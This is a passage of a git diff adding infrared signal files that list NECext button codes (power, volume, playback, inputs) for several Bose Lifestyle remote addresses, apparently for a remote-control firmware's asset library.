+protocol: NECext +address: BA B9 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 4C 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B9 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B9 00 00 +command: B3 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: CD 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B9 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir new file mode 100644 index 000000000..1aa693a46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 20 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 20 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BA 00 00 +command: 9F 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BA 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BA 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BA 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BA 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BA 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BA 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir new file mode 100644 index 000000000..937a77493 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BB 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BB 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BB 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BB 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BB 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BB 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BB 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir new file mode 100644 index 000000000..fd11e35f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BC 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BC 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BC 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BC 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BC 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BC 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BC 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir new file mode 100644 index 000000000..53b718356 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BD 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BD 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BD 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BD 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BD 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BD 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BD 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir new file mode 100644 index 000000000..7fb92df29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir @@ -0,0 +1,422 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 05 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 0E 00 00 